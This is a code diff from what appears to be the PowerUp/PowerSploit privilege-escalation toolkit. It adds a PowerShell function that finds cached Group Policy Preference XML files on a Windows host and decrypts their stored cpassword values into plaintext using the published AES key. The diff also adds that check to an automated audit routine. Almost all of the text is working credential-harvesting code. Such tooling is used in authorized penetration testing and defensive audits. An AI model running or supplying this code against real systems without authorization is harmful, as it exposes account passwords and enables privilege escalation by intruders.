@@ -3502,6 +3502,206 @@ function Get-SiteListPassword {
3502
3502
}
3503
3503
3504
3504
3505
+ function Get-CachedGPPPassword {
3506
+ <#
3507
+ .SYNOPSIS
3508
+
3509
+ Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences and left in cached files on the host.
3510
+
3511
+ PowerSploit Function: Get-CachedGPPPassword
3512
+ Author: Chris Campbell (@obscuresec), local cache mods by @harmj0y
3513
+ License: BSD 3-Clause
3514
+ Required Dependencies: None
3515
+ Optional Dependencies: None
3516
+
3517
+ .DESCRIPTION
3518
+
3519
+ Get-CachedGPPPassword searches the local machine for cached for groups.xml, scheduledtasks.xml, services.xml and datasources.xml files and returns plaintext passwords.
3520
+
3521
+ .EXAMPLE
3522
+
3523
+ PS C:\> Get-CachedGPPPassword
3524
+
3525
+
3526
+ NewName : [BLANK]
3527
+ Changed : {2013-04-25 18:36:07}
3528
+ Passwords : {Super!!!Password}
3529
+ UserNames : {SuperSecretBackdoor}
3530
+ File : C:\ProgramData\Microsoft\Group Policy\History\{32C4C89F-7
3531
+ C3A-4227-A61D-8EF72B5B9E42}\Machine\Preferences\Groups\Gr
3532
+ oups.xml
3533
+
3534
+ .LINK
3535
+
3536
+ http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
3537
+ https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
3538
+ https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb
3539
+ http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
3540
+ http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
3541
+ #>
3542
+
3543
+ [CmdletBinding()]
3544
+ Param()
3545
+
3546
+ # Some XML issues between versions
3547
+ Set-StrictMode -Version 2
3548
+
3549
+ # make sure the appropriate assemblies are loaded
3550
+ Add-Type -Assembly System.Security
3551
+ Add-Type -Assembly System.Core
3552
+
3553
+ # helper that decodes and decrypts password
3554
+ function local:Get-DecryptedCpassword {
3555
+ [CmdletBinding()]
3556
+ Param (
3557
+ [string] $Cpassword
3558
+ )
3559
+
3560
+ try {
3561
+ # Append appropriate padding based on string length
3562
+ $Mod = ($Cpassword.length % 4)
3563
+
3564
+ switch ($Mod) {
3565
+ '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
3566
+ '2' {$Cpassword += ('=' * (4 - $Mod))}
3567
+ '3' {$Cpassword += ('=' * (4 - $Mod))}
3568
+ }
3569
+
3570
+ $Base64Decoded = [Convert]::FromBase64String($Cpassword)
3571
+
3572
+ # Create a new AES .NET Crypto Object
3573
+ $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
3574
+ [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
3575
+ 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
3576
+
3577
+ # Set IV to all nulls to prevent dynamic generation of IV value
3578
+ $AesIV = New-Object Byte[]($AesObject.IV.Length)
3579
+ $AesObject.IV = $AesIV
3580
+ $AesObject.Key = $AesKey
3581
+ $DecryptorObject = $AesObject.CreateDecryptor()
3582
+ [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
3583
+
3584
+ return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
3585
+ }
3586
+
3587
+ catch {Write-Error $Error[0]}
3588
+ }
3589
+
3590
+ # helper that parses fields from the found xml preference files
3591
+ function local:Get-GPPInnerFields {
3592
+ [CmdletBinding()]
3593
+ Param (
3594
+ $File
3595
+ )
3596
+
3597
+ try {
3598
+
3599
+ $Filename = Split-Path $File -Leaf
3600
+ [XML] $Xml = Get-Content ($File)
3601
+
3602
+ $Cpassword = @()
3603
+ $UserName = @()
3604
+ $NewName = @()
3605
+ $Changed = @()
3606
+ $Password = @()
3607
+
3608
+ # check for password field
3609
+ if ($Xml.innerxml -like "*cpassword*"){
3610
+
3611
+ Write-Verbose "Potential password in $File"
3612
+
3613
+ switch ($Filename) {
3614
+ 'Groups.xml' {
3615
+ $Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3616
+ $UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3617
+ $NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3618
+ $Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3619
+ }
3620
+
3621
+ 'Services.xml' {
3622
+ $Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3623
+ $UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3624
+ $Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3625
+ }
3626
+
3627
+ 'Scheduledtasks.xml' {
3628
+ $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3629
+ $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3630
+ $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3631
+ }
3632
+
3633
+ 'DataSources.xml' {
3634
+ $Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3635
+ $UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3636
+ $Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3637
+ }
3638
+
3639
+ 'Printers.xml' {
3640
+ $Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3641
+ $UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3642
+ $Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3643
+ }
3644
+
3645
+ 'Drives.xml' {
3646
+ $Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3647
+ $UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3648
+ $Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3649
+ }
3650
+ }
3651
+ }
3652
+
3653
+ foreach ($Pass in $Cpassword) {
3654
+ Write-Verbose "Decrypting $Pass"
3655
+ $DecryptedPassword = Get-DecryptedCpassword $Pass
3656
+ Write-Verbose "Decrypted a password of $DecryptedPassword"
3657
+ #append any new passwords to array
3658
+ $Password += , $DecryptedPassword
3659
+ }
3660
+
3661
+ # put [BLANK] in variables
3662
+ if (-not $Password) {$Password = '[BLANK]'}
3663
+ if (-not $UserName) {$UserName = '[BLANK]'}
3664
+ if (-not $Changed) {$Changed = '[BLANK]'}
3665
+ if (-not $NewName) {$NewName = '[BLANK]'}
3666
+
3667
+ # Create custom object to output results
3668
+ $ObjectProperties = @{'Passwords' = $Password;
3669
+ 'UserNames' = $UserName;
3670
+ 'Changed' = $Changed;
3671
+ 'NewName' = $NewName;
3672
+ 'File' = $File}
3673
+
3674
+ $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
3675
+ Write-Verbose "The password is between {} and may be more than one value."
3676
+ if ($ResultsObject) {Return $ResultsObject}
3677
+ }
3678
+
3679
+ catch {Write-Error $Error[0]}
3680
+ }
3681
+
3682
+ try {
3683
+ $AllUsers = $Env:ALLUSERSPROFILE
3684
+
3685
+ if($AllUsers -notmatch 'ProgramData') {
3686
+ $AllUsers = "$AllUsers\Application Data"
3687
+ }
3688
+
3689
+ # discover any locally cached GPP .xml files
3690
+ $XMlFiles = Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue
3691
+
3692
+ if ( -not $XMlFiles ) { throw 'No preference files found.' }
3693
+
3694
+ Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
3695
+
3696
+ ForEach ($File in $XMLFiles) {
3697
+ Get-GppInnerFields $File.Fullname
3698
+ }
3699
+ }
3700
+
3701
+ catch {Write-Error $Error[0]}
3702
+ }
3703
+
3704
+
3505
3705
function Write-UserAddMSI {
3506
3706
<#
3507
3707
.SYNOPSIS
@@ -3716,6 +3916,14 @@ function Invoke-AllChecks {
3716
3916
}
3717
3917
"`n"
3718
3918
3919
+ "`n`n[*] Checking for cached Group Policy Preferences .xml files...."
3920
+ $Results = Get-CachedGPPPassword | Where-Object {$_}
3921
+ $Results | Format-List
3922
+ if($HTMLReport) {
3923
+ $Results | ConvertTo-HTML -Head $Header -Body "<H2>Cached GPP Files</H2>" | Out-File -Append $HtmlReportFile
3924
+ }
3925
+ "`n"
3926
+
3719
3927
if($HTMLReport) {
3720
3928
"[*] Report written to '$HtmlReportFile' `n"
3721
3929
}
0 commit comments